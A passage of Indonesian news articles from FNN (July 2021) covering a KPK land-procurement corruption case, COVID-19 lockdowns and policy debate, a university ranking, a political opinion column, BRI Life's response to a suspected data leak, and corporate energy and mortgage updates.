Jakarta, FNN - Komisi Pemberantasan Korupsi (KPK) memanggil Senior Manajer Perumda Pembangunan Sarana Jaya Harbandiyono dalam penyidikan kasus dugaan korupsi pengadaan tanah di Munjul, Jakarta Timur. Harbandiyono diagendakan diperiksa sebagai saksi untuk tersangka mantan Dirut Perumda Pembangunan Sarana Jaya Yoory Corneles Pinontoan (YRC) dan kawan-kawan. "Hari ini pemeriksaan saksi dugaan tindak pidana korupsi terkait dengan pengadaan tanah di Munjul, Kelurahan Pondok Ranggon, Kecamatan Cipayung, Jakarta Timur, DKI Jakarta pada tahun 2019 untuk tersangka YRC dan kawan-kawan atas nama Harbandiyono," kata Plt. Juru Bicara KPK Ali Fikri dalam keterangannya di Jakarta, Kamis. Pemeriksaan Harbandiyono digelar di Gedung KPK, Jakarta. Selain itu, Ali juga menginformasikan pada hari Rabu (28/7) KPK memeriksa tiga tersangka kasus tersebut, yaitu Yoory Corneles, Direktur PT Adonara Propertindo Tommy Adrian (TA), dan Wakil Direktur PT Adonara Propertindo Anja Runtuwene (AR). "Masing-masing diperiksa dalam kapasitas untuk saling menjadi saksi, tim penyidik mengonfirmasi terkait dengan dugaan nilai harga negosiasi dan realisasi pembayaran dari pihak Perumda Sarana Jaya kepada PT AP (Adonara Propertindo)," ucap Ali. Selain tiga orang itu, KPK juga telah menetapkan dua tersangka lainnya, yaitu Direktur PT Aldira Berkah Abadi Makmur (ABAM) Rudy Hartono Iskandar (RHI) dan satu tersangka korporasi PT Adonara Propertindo. KPK menduga ada kerugian keuangan negara setidak-tidaknya Rp152,5 miliar. Awalnya, Sarana Jaya yang bergerak di bidang properti tanah dan bangunan mencari tanah di Jakarta yang akan dijadikan unit bisnis ataupun bank tanah. Pada tanggal 4 Maret 2019 Anja bersama-sama Tommy dan Rudy menawarkan tanah di Munjul seluas lebih kurang 4,2 hektare kepada pihak Sarana Jaya. Akan tetapi, saat itu kepemilikan tanah tersebut masih sepenuhnya milik Kongregasi Suster-Suster Cinta Kasih Carolus Boromeus. Anja dan Tommy lalu bertemu dengan Kongregasi Suster-Suster Cinta Kasih Carolus Boromeus di Yogyakarta, kemudian disepakati ada pembelian tanah di Munjul dan disepakati harga tanah adalah Rp2,5 juta per meter sehingga total harga tersebut Rp104,8 miliar. Pembelian tanah pada tanggal 25 Maret 2019 langsung perikatan jual beli sekaligus pembayaran uang muka oleh Anja dan Tommy dengan jumlah sekitar Rp5 miliar melalui rekening bank atas nama Kongregasi Suster-Suster Cinta Kasih Carolus Boromeus. Pelaksanaan serah terima sertifikat hak guna bangunan (SHGB) dan tanah girik dari pihak Kogregasi Suster-Suster Cinta Kasih Carolus Boromeus melalui notaris yang ditunjuk oleh Anja. Anja, Tommy, dan Rudy lantas menawarkan tanah kepada pihak Sarana Jaya dengan harga Rp7,5 juta per meter dengan total Rp315 miliar. Diduga terjadi negosiasi fiktif dengan kesepakatan harga Rp5,2 juta per meter dengan total Rp217 miliar. Maka, pada tanggal 8 April 2019 dilakukan penandatanganan pengikatan akta perjanjian jual beli di hadapan notaris di Kantor Sarana Jaya antara pihak pembeli (Yoory) dan pihak penjual (Anja), kemudian dilakukan pembayaran sebesar 50 persen atau sekitar Rp108,9 miliar ke rekening bank milik Anja pada Bank DKI. Selang beberapa waktu kemudian, atas perintah Yoory dilakukan pembayaran oleh Sarana Jaya kepada Anja sekitar sejumlah Rp43,5 miliar. (MD).

BPKN Sebut Kerugian Konsumen pada 2021 Capai Rp1,06 Triliun

Jakarta, FNN - Komisioner Penelitian dan Pengembangan Badan Perlindungan Konsumen Nasional (BPKN) Anna Maria Tri Anggraini mengatakan total kerugian konsumen sejak Januari hingga 22 Juli 2021 mencapai Rp1,06 triliun. “Ini angka yang sangat fantastik yang perlu menjadi catatan bagi pemerintah terkait dengan kerugian yang dialami konsumen,” ujar Anna di Jakarta, Kamis. Ia menjelaskan kategori pengaduan paling tinggi terjadi pada jasa keuangan 2.050 kasus, diikuti jasa e-commerce 364 kasus, perumahan 145 kasus, jasa telekomunikasi 36 kasus dan jasa transportasi 20 kasus. Berdasarkan pengaduan itu, lanjut dia, sesuai peran dan fungsinya, maka BPKN memberikan rekomendasi untuk menyelesaikan pelbagai persoalan terkait hak-hak konsumen. Namun, berdasarkan data BPKN yang dikeluarkan sejak tahun 2005 sampai Juni 2021, jumlah tanggapan atau rekomendasi BPKN yang ditindaklanjuti pelaku jasa masih minim. Menurut dia, dari sebanyak 207 rekomendasi BPKN, hanya 46 yang mendapatkan respon, sisanya sebanyak 161 belum ditanggapi oleh pemerintah. Anna juga memaparkan beberapa isu yang perlu dicermati untuk menyelesaikan berbagai masalah atas perlindungan konsumen yang masih muncul dan terus berulang. Pertama, konsumen memiliki hak atas kenyamanan, keamanan, serta keselamatan dalam penggunaan produk baik berupa barang maupun jasa. Oleh karena itu, pelaku usaha harus menjamin keamanan dan keselamatan konsumen dari paparan virus COVID-19, serta memberikan kepastian akses informasi yang jelas dan lengkap untuk menghindari kasus insiden perlindungan konsumen. Selain itu, terdapat kepastian perlindungan terhadap data pribadi konsumen agar kepercayaan konsumen makin meningkat dan sering menggunakan jasa layanan publik. Kedua, konsumen memiliki hak untuk diperlakukan atau dilayani secara benar dan jujur serta tak diskriminatif sesuai dengan regulasi maupun peraturan perundangan yang berlaku. Untuk itu, konsumen berhak mendapatkan layanan secara baik dan tak diskriminatif sesuai UU tentang Perlindungan Konsumen (UUPK) No 8 tahun 1999, hak terhadap aksesibilitas sesuai UU No 8 tahun 2016, serta hak pelayanan khusus konsumen rentan (disabilitas, orang tua, anak-anak, wanita hamil, dan lain-lain). Isu ketiga yang perlu diperhatikan adalah konsumen memiliki hak untuk didengar pendapat dan keluhannya atas barang dan/atau jasa yang digunakan. "(Yaitu) terkait tanggung jawab sepanjang rantai nilai layanan publik apabila terjadi insiden, pihak mana saja yang bertanggung jawab? Apakah pemilik platform? Pelaku usaha? ataukah tanggung jawab masing-masing Kementerian/Lembaga sebagai regulator," katanya. (mth)

Kamboja Akan "Lockdown" Area Perbatasan dengan Thailand

Phnom Penh, FNN - Kamboja akan memberlakukan penguncian (lockdown) di delapan provinsi yang berbatasan dengan Thailand mulai tengah malam pada Kamis. Penguncian area perbatasan itu dilakukan dalam upaya untuk mencegah penyebaran virus corona varian Delta di negara Asia Tenggara itu. Perdana Menteri Hun Sen pada Rabu malam (28/7) menandatangani perintah untuk penguncian, yang melarang warga meninggalkan rumah mereka, berkumpul dalam kelompok dan melakukan bisnis, kecuali bagi mereka yang terlibat dalam pengoperasian maskapai penerbangan. "Penguncian sementara ... bertujuan untuk mencegah penularan berbasis komunitas dari varian baru COVID Delta," kata Hun Sen dalam perintah yang diunggah di Facebook. Pos-pos pemeriksaan perbatasan dengan Thailand juga akan ditutup kecuali untuk memungkinkan pengangkutan barang dan dalam keadaan darurat, kata Hun Sen. PM Kamboja itu juga menyebutkan bahwa penguncian tersebut akan berlangsung hingga 12 Agustus. Sejumlah provinsi di area perbatasan yang terkena dampak penguncian adalah Koh Kong, Pursat, Battambang, Pailin, Banteay Meanchey, Oddar Meanchey, Preah Vihear dan Siem Reap. Kamboja sebelumnya berhasil menahan sebagian besar penularan virus corona hampir sepanjang tahun lalu, tetapi wabah yang pertama kali terdeteksi pada akhir Februari telah meningkatkan total kasus COVID-19 di negara itu menjadi 75.152, dengan 1.339 kematian akibat infenksi virus corona. Negara tetangga Kamboja, Thailand, juga menghadapi suatu wabah yang parah yang didorong oleh virus corona varian Delta, yang pertama kali terdeteksi di India. Thailand telah berulang kali melaporkan jumlah rekor kasus harian COVID-19 dalam beberapa pekan terakhir. (mth)

Internet Ubah Pola Operasional Perusahaan Migas

Jakarta, FNN - Tenaga Ahli SKK Migas Heri Margono mengatakan transformasi digital berbagai aspek operasional di lingkungan eksplorasi dan eksploitasi minyak dan gas bumi telah berlangsung sejak tahun 201, mengubah pola operasi perusahaan migas. “Digitalisasi proses di SKK Migas merupakan bagian dari implementasi rencana dan strategi Indonesia Oil and Gas (IOG) 4.0 untuk mewujudkan target jangka panjang 2030, yaitu produksi minyak 1 juta barel dan gas 12 BSCF," kata Heri Margono dalam keterangannya di Jakarta, Kamis. Heri menambahkan berbagai kegiatan perizinan di SKK Migas kini telah dilakukan secara digital melalui kebijakan pelayanan satu pintu (ODS). Bahkan saat ini hampir seluruh operasional utama hulu migas telah terintegrasi dan terpantau melalui pusat operasi terintegrasi (IOC), seperti pengeboran, operasional produksi, monitoring pengapalan, monitoring lifting, hingga inventory. Sedangkan untuk proses pengadaan barang dan jasa juga telah dilakukan secara digital melalui centralized integrated vendor database (CVID). “Peran sumber daya manusia sangat besar dalam setiap proses dan setiap jenjang digitalisasi yang dilaksanakan oleh SKK Migas maupun kontraktor kontrak kerja sama (KKKS)," ujar Heri. Dia mengungkapkan hulu migas sebagai industri yang padat teknologi menjadi salah satu industri yang telah menerapkan konsep Industri 4.0 dalam setiap kegiatan operasional. “Targetnya produktivitas akan meningkat, sehingga dapat memberikan kontribusi terhadap peningkatan efisiensi dan daya saing industri hulu migas," pungkas Heri. CEO Nusantrics Sharlini Eriza Putri menegaskan meski teknologi memudahkan pekerjaan, namun teknologi bukan jawaban dan bisa menjadi simalakama karena ada berbagai macam teknologi, sehingga manusia harus bisa memilih yang terbaik. “Di hulu migas ada teknologi injeksi uap EOR dan lainnya, namun teknologi tersebut kemungkinan hanya bisa mengambil 30 persen dari potensi hulu migas. Mencari teknologi yang lain tentu harus dilakukan, termasuk teknologi yang berasal dari alam," tegas Sharlini. Lebih lanjut dia mengungkapkan pekerjaan hulu migas di luar negeri telah menggunakan bioteknologi memanfaatkan bakteri dan mikroorganisme untuk dapat mengangkat minyak di dalam tanah. Berdasarkan Rencana Umum Energi Nasional (RUEN), Indonesia membutuhkan minyak dari 1,66 juta barel menjadi sebanyak 3,97 juta barel pada 2050. Sementara saat ini hanya 20 cekungan yang beroperasi dari total 128 cekungan yang ada di Indonesia. Bahkan, masih terdapat 68 cekungan yang belum dieksplorasi. Pemerintah berupaya meningkatkan produksi migas di dalam negeri melalui beberapa strategi, seperti menahan penurunan produksi dari lapangan yang sudah ada, akselerasi pengembangan lapangan, implementasi teknologi Enhanced Oil Recovery (EOR), dan eksplorasi untuk menemukan lapangan migas baru. (mth)

Indonesia Sudah Lampu Kuning, Anis Matta: Kita Harus Hati-Hati Membaca Tanda-Tanda Ini

Jakarta, FNN - Ketua Umum Partai Gelombang Rakyat (Gelora) Indonesia Anis Matta menegaskan, krisis akibat pandemi Covid-19 saat ini sudah memasuki rute ketiga, yakni tahapan krisis sosial. Jika pemerintah tidak tanggap, maka krisis sosial akan berlanjut menjadi krisis politik. "Tanda-tandanya menunjukkan bahwa kita ada di lampu kuning. Pandemi sudah menyebabkan krisis ekonomi, dan sekarang berlanjut pada krisis sosial. Kita harus berhati-hati membaca tanda-tanda ini, tanpa bermaksud saling menyalahkan, karena pada akhirnya merupakan tantangan bagi kita semuanya sebagai bangsa," kata Anis Matta saat memberikan pengantar diskusi Gelora Talk 09 dengan tema 'Pandemi Berlanjut Akankah Memicu Krisis Sosial di Jakarta, Rabu (29/7/2021) petang. Dalam diskusi yang dihadiri Menteri Koordinator (Menko) Maritim dan Sumber Daya Indonesia 2015-2016 Rizal Ramli, Juru Bicara Kementerian Kesehatan (Menkes) Siti Nadia Tarmizi dan Clinical Epidemilog Ahlani Institute Tifauzia Tyassuma itu, Anis Matta mengingatkan, krisis ekonomi saat ini menyebabkan gelombang PHK besar-besaran dan angka kemiskinan naik 50 persen. Menurut Anis Matta, suasana jiwa masyarakat (public mood) saat ini diliputi kesedihan, ketakutan, kemarahan dan frustasi. Kondisi tersebut bisa saja berbuah pada ledakan sosial dan krisis politik, apabila tidak dikelola dengan baik oleh pemerintah. Di samping itu, ternyata vaksinasi tidak mampu mencegah munculnya varian baru. Vaksin terlihat kalah kuat dari varian baru yang terus bermunculan, sehingga masih dibutuhkan beberapa kali vaksin lagi. "Ini menyangkut daya tahan fiskal dan kapasitas pemerintah. Pandemi menyedot anggaran sedemikian rupa, sementara pada waktu yang sama menutup sebagian besar sumber pendapatan pemerintah," ujarnya. Situasi saat ini, lanjut Anis Matta, tentu saja menjadi ujian dan tantangan yang sulit bagi pemerintah. Apalagi jika melihat tanda-tanda, krisis terlihat akan semakin membesar. "Pertanyaan yang sulit dijawab, berapa lama pemerintah bisa bertahan dalam situasi seperti ini. Daya tahan fiskal pemerintah, apakah mampu mengatasi persoalan ini, karena krisis akan jauh lebih besar dari yang diperkirakan," katanya. Hal senada disampaikan Clinical Epidemilog Ahlina Institute Dr. Tifauzia Tyassuma mengatakan, bahwa situasi sekarang sudah memasuki krisis sosial dan di khawatirkan akan terjadi chaos (kerusuhan) di masyarakat. "Ini yang paling kita khawatirkan, kita mesti bersama-sama segera bahu-membahu untuk mencegah, jangan sampai krisis sosial ini menjadi chaos," kata Tifauzia. dr Tifa, sapaan akrab Tifauzia Tyassuma memprediksi pandemi tidak akan selesai pada 2022, karena virus Corona terus melakukan mutasi dan membentuk varian-varian baru, termasuk varian lokal Indonesia. "Siap-siap saja pandemi ini akan berjalan lama, sedikitnya butuh waktu antara 3-5 tahun lagi. Artinya ketika masih Pilpres, pandemi masih ada dengan asumsi terjadi mutasi-mutasi dan pemerintah belum ada solusi pengendalian sama sekali," katanya. Menko Maritim dan Sumber Daya Indonesia 2015-2016 Rizal Ramli menilai, pemerintah salah langkah dalam menerapkan kebijakan penanganan pandemi Covid-19 selama ini. Sejak awal seharusnya pemerintah menerapkan lockdown lakukan lockdown agar Covid-19 tidak menyebar. Bukan sebaliknya, bongkar pasang istilah dari Pembatasan Sosial Berskala Besar (PSBB), PSBB Ketat, Pemberlakuan Pembatasan Kegiatan Masyarakat (PPKM), PPKM Mikro, PPKM Darurat, sampai terakhir PPKM Level 4. “Di seluruh dunia efektif mengendalikan pandemi ini sederhana kok lockdown. Iya kan nanti kalau udah berkurang ya nggak ada lockdown. Nanti kalau ada pandemi lagi ramai lagi atau virus baru lagi variasi baru ya lockdown lagi,” ujar Rizal Ramli. Apabila kebijakan lockdown diterapkan ketika itu, kata Rizal Ramli, cost (biaya) yang dikeluarkan pemerintah tidak akan sebesar sekarang mencapai Rp 1.035 triliun, tapi cukup merogoh kocek Rp 415 triliun dan Covid-19 bisa dikendalikan. "Lockdown hanya butuh Rp 415 triliun, itu buat kasih makan rakyat dan kasih obat-obatan gratis. Saya (merasa) aneh. Di seluruh dunia ada nggak sih, yang menyelesaikan kasus krisis tapi dengan ganti istilah doang? Mohon maaf kagak ada," tegas Rizal Ramli. Juru Bicara Kemenkes Siti Nadia Tarmizi mengatakan, peningkatan kasus Covid-19 saat ini, karena ada mutasi baru varian Delta dari India, sehingga pemerintah perlu mengencangkan kembali pelaksanaan rem darurat melalui PPKM. "PPKM Darurat Level 4 hingga 1 itu sesuai dengan rekomendasi WHO. Upaya ini untuk menurunkan mobilitas, bukan menghentikan, karena mobilitas ini memfasilitasi varian virus menyebar ke seluruh daerah. Sehingga kasus di daerah secara cepat meningkat dalam jumlah besar," kata Siti Nadia. Pemerintah menilai penerapan PPKM Darurat berdasarkan level ini tidak mengganggu aktivitas ekonomi dan kehidupan masyarakat, karena diterapkan di level RT/RW, desa/kelurahan atau kecamatan saja. "Di level yang paling terkecil sangat memungkinkan untuk melakukan mengawasi arus keluar masuk di wilayah tersebut," pungkas Juru Bicara Kemenkes ini. (sws)

Versi Webometrics: Universitan Indonesia Perguruan Tinggi Terbaik

Depok, FNN - Universitas Indonesia (UI) menempati peringkat pertama sebagai perguruan tinggi terbaik di Indonesia, menjadi satu-satunya perguruan tinggi Indonesia yang masuk dalam top 10 perguruan tinggi terbaik di Asia Tenggara yaitu peringkat ke-9. "UI dinilai terbaik dalam hal keterbukaan akses publikasi ilmiah, sehingga dapat dijangkau oleh masyarakat dunia melalui jaringan internet," kata Kepala Biro Humas dan KIP UI Dra Amelita Lusia, MSi CPR dalam keterangannya di Depok, sebagaimana dikutip dari Antara. UI juga berada di posisi 729 di dunia versi Webometrics Ranking of World Universities edisi Juli 2021. Ia mengatakan, pencapaian peringkat tersebut berdasarkan atas keberhasilan UI dalam memenuhi penilaian webometrics yang terdiri atas tiga indikator penilaian yang dipergunakan. Ketiga indikator tersebut, yaitu visibility impact atau web contents impact (dengan bobot 50 persen) merupakan jumlah jaringan eksternal (subnets) yang terhubung ke halaman web institusi (dinormalisasi dan kemudian dipilih nilai maksimum). Selanjutnya openness (dengan bobot 10 persen) merupakan jumlah kutipan dari 210 penulis teratas yang bersumber dari Google Scholar, dan excellence (dengan bobot 40 persen) merupakan jumlah artikel publikasi ilmiah karya sivitas akademika yang terindeks pada jurnal internasional bereputasi tinggi dengan sumber dari Scimago. Dari indikator tersebut, dalam hal visibility atau dampak dari konten-konten yang berada di website, UI meraih ranking 436 dunia. Kemudian pada indikator excellence yaitu jumlah artikel publikasi ilmiah yang terindeks pada Scimago, UI berada di peringkat 1.250. Pada indikator openness berupa jumlah kutipan dari peneliti terbaik, UI berada di peringkat 761 dunia. Webometrics merupakan sistem pemeringkatan yang dilakukan berbasis website terhadap perguruan tinggi se-dunia. Pada laman resminya, webometrics melansir bahwa kehadiran dan visibilitas web dapat dijadikan indikator kinerja global sebuah universitas. Indikator tersebut mempertimbangkan komitmen pengajaran, hasil penelitian, prestise internasional, hingga hubungan dengan masyarakat, termasuk sektor industri dan ekonomi, hingga universitas. Pemeringkatan Webometrics dilakukan oleh Cybermetric Lab yang merupakan kelompok penelitian milik Consejo Superior de Investigaciones Científicas (CSIC), badan penelitian publik terbesar di Spanyol, terhadap lebih dari 31.000 Institusi Pendidikan Tinggi dari lebih 200 negara di dunia. Sejak tahun 2004, Ranking Web (atau Webometrics Ranking) diterbitkan dua kali setahun, dengan data yang dikumpulkan selama bulan Januari dan Juli. Sistem pemeringkatan Webometrics bertujuan untuk mempromosikan publikasi web, mendukung inisiatif Open Access, mendukung akses elektronik untuk publikasi ilmiah, dan materi akademik lainnya. Pengumuman Webometrics Ranking of World Universities dapat diakses pada laman: www.webometrics.info. (MD)

Puan Menantang Jokowi

By M Rizal Fadillah SETELAH Ketua DPR Puan Maharani keluar kandang dengan memasang baliho di mana-mana, kini agak mengejutkan kader PDIP ini mulai tajam mengkritik kinerja pemerintahan Jokowi, khususnya dalam penanganan pandemi covid 19. Pemerintah dianggap gagal untuk segera memulihkan kepercayaan masyarakat di tengah pandemi. Bagai banteng menyeruduk, Puan Maharani menyatakan "percuma ada berbagai kebijakan bahkan pembatasan mobilitas rakyat kalau program ini di lapangan dijalankan ala kadarnya apalagi terkait dengan perut rakyat". Cukup tajam kritiknya. Tembakan putri Megawati ini dikemukakan di tengah Jokowi yang nampak kebingungan menangani lonjakan angka keterpaparan covid 19. Pada waktu berbeda Puan juga menggebrak soal komunikasi publik. "Perbaiki komunikasi publik termasuk kejelasan siapa yang pegang komando dari krisis ini, terutama terkait dengan keputusan Pemerintah" padahal baru saja Jokowi menetapkan Luhut dan Airlangga sebagai "komandan" penanganan pandemi melalui PPKM. Puan bukan Puan pribadi, ia merepresentasi pimpinan PDIP. Masyarakat tahu bahwa PDIP adalah "The Rulling Party" sehingga kebijakan Pemerintah adakah produk, sepengetahuan atau sepersetujuan PDIP. Akan tetapi realitas politik berbeda di lapangan. Ada pasang naik dan surut hubungan intim politiknya. Jokowi memang bukan kader murni PDIP dan gemar berjalan sendiri di sawah, got, hutan, atau jalan tol. Kata Rocky Gerung kritik Puan pada Pemerintah Jokowi itu bagai jeruk makan jeruk. Tetapi sebenarnya bedanya ada juga Puan itu jeruk Bali sedangkan Jokowi jeruk Mandarin. Bisa saja saling memakan, meskipun Luhut sebagai marketing jeruk Mandarin pernah memusatkan penjualannya di Bali melalui program "Work From Bali". Ketika relawan Jokowi menggaungkan perpanjangan jabatan Presiden tiga periode, PDIP yang memiliki Puan Maharani sebagai kader jagoan untuk dimajukan Pilpres 2024 tentu meradang. Begitu juga ketika Jokowi bermain-main dengan Ganjar Pranowo, Puan menghajar Gubernur Jawa Tengah ini. Sebenarnya Puan atau PDIP gak akur akur banget dengan Jokowi. Pandemi covid 19 menjadi kendaraan politik untuk saling memperkuat posisi. PDIP sedang bermurung durja dipukul Jokowi saat ini ketika kadernya Juliari Batubara didera tuntutan Jaksa Penuntut Umum KPK 11 tahun. Sejak revisi undang-undang yang mengaturnya, KPK menjadi modal politik strategis bagi Jokowi. Ketua KPK Firli Bahuri dan Dewan Pengawas berada dalam genggamannya. PDIP pun babak belur ketika banyak kadernya yang terjaring korupsi oleh KPK. Kritik Puan tentu menjadi menarik karena dapat dibaca sebagai tantangan Puan kepada Jokowi. PDIP sedang pasang kuda kuda. Jika PDIP menarik dukungan "petugas partai yang durhaka" maka dipastikan Pemerintahan Jokowi bakal ambrol. Mungkin sebelum 2024. Netizen agak nakal mencoba menantang Puan untuk lebih bergerak maju dalam mengkritisi pemerintahan Jokowi. "Mbak Puan harus bisa 'come up' dengan berbagai 'lirik' dan 'rima' yang lebih menendang, tuh. Ditunggu ya 'diss track' lanjutannya". Bising juga irama musik hip hop di sekitar istana. Hip nya Puan hop nya Jokowi. *) Pemerhati Politik dan Kebangsaan

BRI Life Beberkan Hasil Investigasi Dugaan Bocornya Data Nasabah

Jakarta, FNN - PT Asuransi BRI Life membeberkan hasil investigasi maraton terkait beredarnya informasi di media sosial mengenai dugaan adanya kebocoran data nasabah perseroan. Corporate Secretary BRI Life Ade Nasution dalam pernyataan di Jakarta, Kamis (29/7/2021), mengatakan, berdasarkan hasil investigasi hingga Rabu (28/7) kemarin, ditemukan fakta-fakta salah satunya yaitu klaim jumlah kebocoran data yang tidak benar. Menurutnya, BRI Life telah bergerak cepat melakukan investigasi internal atas kejadian dimaksud dan ditemukan bukti bahwa pelaku kejahatan siber melakukan intrusi ke dalam sistem BRI Life Syariah yang merupakan stand alone system dan terpisah dari core system BRI Life. "Pada sistem tersebut terdapat tidak lebih dari 25 ribu pemegang polis syariah individu, dimana data tersebut tidak berkaitan dengan data BRI Life maupun BRI Group lainnya," ujar Ade sebagaimana dikutip dari Antara. Ade memastikan, data BRI dan BRI Group aman. Kejadian tersebut tidak memberikan dampak kepada data nasabah BRI maupun BRI Group lainnya. "Tidak ada lateral action terhadap portofolio yang lain, karena sistem tersebut stand alone," katanya. Selanjutnya, link awal di forum jual beli yang menawarkan data nasabah yang diduga bocor tersebut sudah tidak dapat ditemukan. "Saat ini link awal di forum jual beli yang sempat viral pada media sosial sudah tidak dapat ditemukan lagi," ujar Ade. BRI Life juga berkoordinasi dengan pihak terkait untuk penegakan hukum atas dugaan bocornya data nasabah tersebut. Sebagai bagian dari komitmen untuk melindungi nasabah, BRI Life telah melakukan respon terhadap insiden tersebut. Yaitu, melakukan tindakan cepat berkoordinasi dengan pihak-pihak terkait, dalam hal ini kepada Otoritas Jasa Keuangan dan Kementerian Komunikasi dan Informatika RI. "Untuk kepentingan penegakan hukum, BRI Life berkoordinasi dengan Direktorat Cyber Crime Bareskrim Polri dan Badan Sandi dan Siber Negara," kata Ade. Ade menambahkan, BRI Life menjamin keamanan polis nasabah. Perseroan memastikan data pemegang polis tidak berubah dengan data awal yang ada di sistem. Selanjutnya, BRI Life akan berkoordinasi dengan pemegang polis syariah untuk memastikan layanan kepada pemegang polis tetap dapat dilakukan sesuai dengan manfaat polisnya. Apabila pemegang polis membutuhkan penjelasan lebih lanjut atau membutuhkan bantuan, dapat segera menghubungi layanan resmi BRI Life melalui Call Center di Nomor 1500087, WhatsApp Corporate 0811-935-0087 atau email cs@brilife.co.id. (MD)

Pertamina Bangun PLTS 1,34 Megawatt di Kilang Cilacap

Jakarta, FNN - PT Pertamina (Persero) membangun pembangkit listrik tenaga surya (PLTS) berkapasitas 1,34 megawatt di Kilang Cilacap, Jawa Tengah sebagai komitmen perusahaan mendorong perluasan program energi baru terbarukan. Pjs SVP Corporate Communications & Investor Relations Pertamina Fajriyah Usman mengatakan keseluruhan nilai proyek pembangkit sebesar 1,3 juta dolar AS yang mencakup fasilitas pendukung di area rumah sakit Pertamina Cilacap, gelanggang olahraga, serta kawasan perumahan di Katilayu dan Gunung Simping. “Kapasitas pembangkit yang sedang dibangun itu akan mengurangi sekitar 13,5 persen energi dari penggunaan daya listrik eksisting bahan bakar fosil,” kata Fajriyah Usman dalam keterangannya di Jakarta, Rabu. Fajriyah menjelaskan proyek itu telah menyerap tenaga kerja lokal sekitar 67 persen dari total kebutuhan dan secara kumulatif penyerapan TKDN pada proyek ini mencapai 46,1 persen, belum termasuk untuk pengadaan baterai atau sistem penyimpanan. Dia menambahkan pihaknya saat ini memprioritaskan implementasi energi baru terbarukan seluas-luasnya di wilayah kerja perseroan, termasuk Kilang Cilacap. Pertamina membuka peluang bagi masyarakat sekitar yang berminat untuk menggunakan PLTS di rumah mereka masing-masing melalui skema business to business. "Kami berharap kehadiran PLTS di Kilang Cilacap itu akan menambah kesadaran dan kepedulian masyarakat sekitar area kilang terhadap energi bersih," ujar Fajriah. Pertamina melalui anak usaha PT Pertamina New Renewable Energy (PNRE) telah menyelesaikan sejumlah proyek pembangkit listrik tenaga surya, antara lain PLTS Badak berkapasitas empat megawatt dan fasilitas pembangkit di sejumlah SPBU Pertamina dengan total kapasitas 260 kilowatt. Sedangkan proyek pembangkit listrik tenaga surya lain yang sekarang sedang dibangun adalah PLTS Kilang Dumai berkapasitas dua megawatt dan PLTS KEK Sei Mangkei berkapasitas dua megawatt. Selain PLTS, Pertamina juga memiliki beberapa portofolio energi bersih, yaitu pembangkit listrik tenaga panas bumi (PLTP) dengan total kapasitas 672 megawatt, pembangkit listrik tenaga biogas (PLTBg) berkapasitas dua megawatt di Sei Mangkei, dan PLTBg Pagar Merbau berkapasitas 2 x 1 megawatt. (mth)

BTN Salurkan KPR untuk 78.000 Unit Rumah hingga Semester I-2021

Jakarta, FNN - PT Bank Tabungan Negara (Persero) tercatat menyalurkan Kredit Pemilikan Rumah (KPR) untuk 78.000 unit rumah selama semester I-2021. "Jumlah ini didominasi rumah bersubsidi yaitu 65.400 unit rumah, lalu sisanya non subsidi," kata Direktur Consumer and Commercial Landing BTN Hirwandi Gafar dalam paparan kinerja triwulan II-2021, di Jakarta, Rabu. Menurut dia, permintaan KPR pada awal pandemi yakni April 2020 memang sempat menurun drastis, tetapi setelah itu pada Juni-Desember 2020 pertumbuhan KPR terus naik. Selanjutnya, pertumbuhan KPR kian membaik pada Januari-Maret 2021, seiring dengan pembebasan pajak pertambahan nilai (PPN) untuk rumah baru yang diberikan pemerintah mulai Maret 2021. "Bahkan pada periode tersebut, permintaan KPR lebih tinggi dari masa sebelum pandemi yakni di Januari-Maret 2020," ujarnya. Kendati demikian, Hirwandi belum mengetahui dampak dari pemberlakuan pembatasan kegiatan masyarakat (PPKM) level 4 yang dimulai pada Juli 2021 kepada pertumbuhan KPR ke depannya. Meski begitu, permintaan KPR pada 2021 diperkirakan akan terus naik jika dibandingkan tahun 2020, mengingat pertumbuhan KPR, khususnya subsidi pada triwulan II-2021 melesat hingga 11,17 persen. Sementara itu, terkait rencana pembiayaan rumah subsidi yang bekerja sama dengan Tapera, Hirwandi menjelaskan bahwa hal tersebut masih dalam proses. "Pada tahap pertama ini kami menargetkan 11 ribu unit untuk itu," tutup Hirwandi. (mth)

Polisi Tegur 53.960 Pelanggar Prokes di Sumbar

Padang,, FNN - Kepolisian Daerah (Polda) Sumatera Barat mencatat telah menegur 53.960 pelanggar protokol kesehatan (prokes) dalam sehari, pada Selasa (27/7). Kabid Humas Polda Sumbar Kombes Pol Satake Bayu di Padang, Rabu, mengatakan pelanggar ditegur karena tidak disiplin menerapkan aturan prokes dalam Operasi Yustisi yang dilakukan di 19 daerah di Sumatera Barat. Polres Bukittinggi menegur 46.668 orang yang diikuti Polresta Padang (1.145 orang), dan Polres Pesisir Selatan (1.024 orang) dalam sehari. "Kita mencoba persuasif melakukan pendekatan dan mengingatkan warga yang masih abai menerapkan protokol kesehatan. Selain penindakan kita selalu melakukan edukasi dan sosialisasi pentingnya protokol kesehatan dalam masa pandemi ini," kata dia. Sementara untuk teguran tertulis, lanjutnya Polda Sumbar, mencatat ada 1. 341 teguran yang diberikan kepada para pelanggar. Polres Bukittinggi yang terbanyak mengeluarkan teguran tertulis, yakni sebanyak 361 lembar diikuti Polres Dharmasraya (280 lembar), dan Polres Pesisir Selatan (236 lembar). "Bagi yang kena teguran jika mengulang kembali maka akan diberikan sanksi berupa denda sesuai Perda Nomor 6 2020 tentang Adapatasi Kebiasaan Baru," kata dia. Bahkan, petugas dapat mengenakan pelanggar protokol kesehatan ini dalam kategori pelanggaran pidana dengan menggunakan UU Nomor 4 Tahun 1984 tentang Wabah Penyakit Menular. "Sanksi pidana pada aturan tersebut tertuang dalam pasal 14 dan pelanggar diancam pidana kurungan satu tahun atau denda Rp1 juta ," kata dia. Ia mengatakan sudah ada empat pelanggar yang ditetapkan sebagai tersangka dalam kasus pelanggaran protokol kesehatan oleh Direktorat Reserse Kriminal Umum, yakni empat pengelola kafe, restoran, dan tempat hiburan di Kota Padang. "Selain itu ada dua pengelola yang diproses Polresta Padang, satu tersangka di Polres Bukittinggi dan Padang Panjang," kata dia. (mth)

Anies Baswedan: Pasien Isoman Perlu Mendapat Dukungan Kebutuhan Pokok

